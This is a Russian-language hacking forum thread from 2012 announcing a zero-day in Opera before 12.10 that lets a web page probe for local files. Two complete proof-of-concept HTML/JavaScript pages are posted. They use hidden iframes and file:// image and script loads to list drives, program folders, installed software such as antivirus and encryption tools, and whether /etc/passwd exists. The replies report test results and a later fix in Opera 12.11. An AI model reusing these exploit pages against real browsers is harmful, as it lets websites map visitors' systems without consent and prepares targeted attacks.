Вернуться   RDot > Аспекты НСД > Web-среда/Web-applications

Ответ
 
Опции темы Поиск в этой теме Опции просмотра
Старый 17.10.2012, 01:46   #1
M_script
 
Регистрация: 06.07.2010
Сообщений: 113
Репутация: 33
По умолчанию Доступ к локальным файлам из сети. Часть вторая (Opera, 0day)

follow


Уязвимость аналогична той, которую я нашел в прошлом году - http://forum.antichat.net/thread307415.html
Загружаем во фрейм xml-документ с ошибкой синтаксиса, получаем вывод сообщения об ошибке.
При выводе ошибки opera подгружает локальный css-файл, при этом отключая политику безопасности. После замены содержимого фрейма, xml-документ обрабатывается как html.
Для проверки статуса загрузки файла на этот раз использую свойство complete обекта image.

PoC (Windows, Linux; Opera < 12.10)
http://mscript.biz/opera_localfiles.html

Исходник
PHP код:
<html>
<
body>
<
iframe style="width:0px;height:0px;visibility:hidden" src="data:text/xml,"></iframe>
<
script>
var 
ifr frames[0].document.documentElement;
var 
diskArr 'CDEFGHIJKLMNOPQRSTUVWXYZ';
var 
diskDiv document.createElement('div');
diskDiv.innerHTML '<b>disks:</b><br>';
document.body.appendChild(diskDiv);

var 
dirArr = new Array(
'program files',
'program files (x86)'
);
var 
dirDiv document.createElement('div');
dirDiv.innerHTML '<br><b>program folders:</b><br>';
document.body.appendChild(dirDiv);

var 
progArr = new Array(
'adobe',
'akelpad',
'alcohol soft',
'avira',
'charles',
'daemon tools lite',
'drweb',
'eset',
'filezilla ftp client',
'filezilla ftp server',
'icq7.1',
'icq7.2',
'icq7.3',
'icq7.4',
'icq7.5',
'icq7.6',
'icq7.7',
'kaspersky lab',
'mcafee',
'microsoft office',
'microsoft visual studio',
'microsoft.net',
'mozilla firefox',
'nmap',
'nvidia corporation',
'notepad++',
'psi+',
'paragon software',
'qip',
'qip2010',
'qip2011',
'skype',
'teamviewer',
'total commander',
'truecrypt',
'utorrent',
'webmoney',
'winpcap',
'winrar',
'wireshark'
);
var 
progDiv document.createElement('div');
progDiv.innerHTML '<br><b>programs:</b><br>';
document.body.appendChild(progDiv);

function 
add(nametypeimg)
{
    if(
img.complete)
    {
        switch(
type)
        {
            case 
0:
                
diskDiv.innerHTML += name '<br>';
                
checkDir(name);
                break
            
            case 
1:
                
dirDiv.innerHTML += name '<br>';
                
checkProg(name);
                break;
            
            case 
2:
                
progDiv.innerHTML += name '<br>';
                break;
                
            case 
3:
                
progDiv.innerHTML += name '<br>';
        }
    }
    else if(
type == 3)
    {
        
checkDisk();
    }
}

function 
checkProg(dir)
{
    for(var 
j in progArr)
        
ifr.innerHTML "<img src='file://" dir '/' progArr[j] + "' onerror='top.add(\"" dir '/' progArr[j] + "\", 2, this)'>";
}

function 
checkDir(disk)
{
    for(var 
j in dirArr)
        
ifr.innerHTML "<img src='file://" disk '/' dirArr[j] + "' onerror='top.add(\"" disk '/' dirArr[j] + "\", 1, this)'>";
}

function 
checkDisk()
{
    for(var 
i in diskArr)
        
ifr.innerHTML "<img src='file://" diskArr[i] + ":' onerror='top.add(\"" diskArr[i] + ":\", 0, this)'>";
}

(function()
{
    
ifr.innerHTML "<img src='file://localhost/etc/passwd' onerror='top.add(\"/etc/passwd\", 3, this)'>";
})()

</script>
</body>
</html> 

тема на antichat.ru

Последний раз редактировалось M_script; 07.02.2013 в 20:21..
M_script вне форума   Ответить с цитированием
Старый 17.10.2012, 10:10   #2
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию

как я понял, проверяется существование этого файла, а не получается его содержимое?

Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.10.229 Version/11.61
Код:
disks:

program folders:

programs:
/etc/passwd
12309 вне форума   Ответить с цитированием
Старый 17.10.2012, 10:23   #3
Svet
 
Аватар для Svet
 
Регистрация: 11.09.2010
Сообщений: 172
Репутация: 42
По умолчанию

Версия:12.02
Сборка:1578

Код:
 
disks:

program folders:

programs:
Svet вне форума   Ответить с цитированием
Старый 17.10.2012, 11:03   #4
M_script
 
Регистрация: 06.07.2010
Сообщений: 113
Репутация: 33
По умолчанию

Цитата:
Сообщение от 12309
как я понял, проверяется существование этого файла, а не получается его содержимое?
Да.

Svet, пока не выяснил в чем причина, но у некоторых уязвимость не срабатывает. От версии браузера и ОС это не зависит.
M_script вне форума   Ответить с цитированием
Старый 18.10.2012, 03:22   #5
Aels
 
Аватар для Aels
 
Регистрация: 24.12.2010
Сообщений: 16
Репутация: 2
По умолчанию

Version
12.02
Build
1578
Platform
Win32
System
Windows 7
Ничего.
Aels вне форума   Ответить с цитированием
Старый 09.11.2012, 14:27   #6
M_script
 
Регистрация: 06.07.2010
Сообщений: 113
Репутация: 33
По умолчанию

6 ноября вышла новая версия браузера Opera - 12.10, ошибка не исправлена.
Кое-какие изменения все же есть, поэтому предыдущий пример уже не работает. Теперь свойство complete обекта image зависит от типа файла, поэтому подходит только для проверки изображений.

PoC (Windows; Opera 12.10)
http://mscript.biz/opera_localfiles2.html
PHP код:
<html>
<
body>
<
iframe style="width:0px;height:0px;visibility:hidden" src="data:text/xml,"></iframe>
<
script>

var 
ifr frames[0].document.documentElement;

var 
diskArr 'CDEFGHIJKLMNOPQRSTUVWXYZ';
var 
diskDiv document.createElement('div');
diskDiv.innerHTML '<b>disks:</b><br>';
document.body.appendChild(diskDiv);

    
var 
dirArr = new Array(
'program files',
'program files (x86)'
);
var 
dirDiv document.createElement('div');
dirDiv.innerHTML '<br><b>program folders:</b><br>';
document.body.appendChild(dirDiv);

var 
progArr = new Array(
'adobe',
'akelpad',
'alcohol soft',
'avira',
'charles',
'daemon tools lite',
'drweb',
'eset',
'filezilla ftp client',
'filezilla ftp server',
'icq7.1',
'icq7.2',
'icq7.3',
'icq7.4',
'icq7.5',
'icq7.6',
'icq7.7',
'kaspersky lab',
'mcafee',
'microsoft office',
'microsoft visual studio',
'microsoft.net',
'mozilla firefox',
'nmap',
'nvidia corporation',
'notepad++',
'psi+',
'paragon software',
'qip',
'qip2010',
'qip2011',
'skype',
'teamviewer',
'total commander',
'truecrypt',
'utorrent',
'webmoney',
'winpcap',
'winrar',
'wireshark'
);
var 
progDiv document.createElement('div');
progDiv.innerHTML '<br><b>programs:</b><br>';
document.body.appendChild(progDiv);

function 
add(nametypescr)
{
    
ifr.all[0].removeChild(scr);

    switch(
type)
    {
        case 
0:
            
diskDiv.innerHTML += name '<br>';
            
checkDir(name);
            break
        
        case 
1:
            
dirDiv.innerHTML += name '<br>';
            
checkProg(name);
            break;
        
        case 
2:
            
progDiv.innerHTML += name '<br>';
            break;
    }
}

function 
checkProg(dir)
{
    for(var 
i in progArr)
    {
        var 
scr document.createElement('script');
        
scr.onload = new Function('top.add("' dir '/' progArr[i] + '", 2, this)');
        
scr.src 'file://' dir '/' progArr[i];
        
ifr.all[0].appendChild(scr);
    }
}

function 
checkDir(disk)
{
    for(var 
i in dirArr)
    {
        var 
scr document.createElement('script');
        
scr.onload = new Function('top.add("' disk '/' dirArr[i] + '", 1,this)');
        
scr.src 'file://' disk '/' dirArr[i];
        
ifr.all[0].appendChild(scr);
    }
}

(function 
checkDisk()
{
    for(var 
i in diskArr)
    {
        var 
scr document.createElement('script');
        
scr.onload = new Function('top.add("' diskArr[i] + ':", 0, this)');
        
scr.src 'file://' diskArr[i] + ':';
        
ifr.all[0].appendChild(scr);
    }
})()


</script>
</body>
</html> 
M_script вне форума   Ответить с цитированием
Старый 20.11.2012, 15:54   #7
Svet
 
Аватар для Svet
 
Регистрация: 11.09.2010
Сообщений: 172
Репутация: 42
По умолчанию

Opera 12.11
Вроде как пофиксили - пруф.
Svet вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot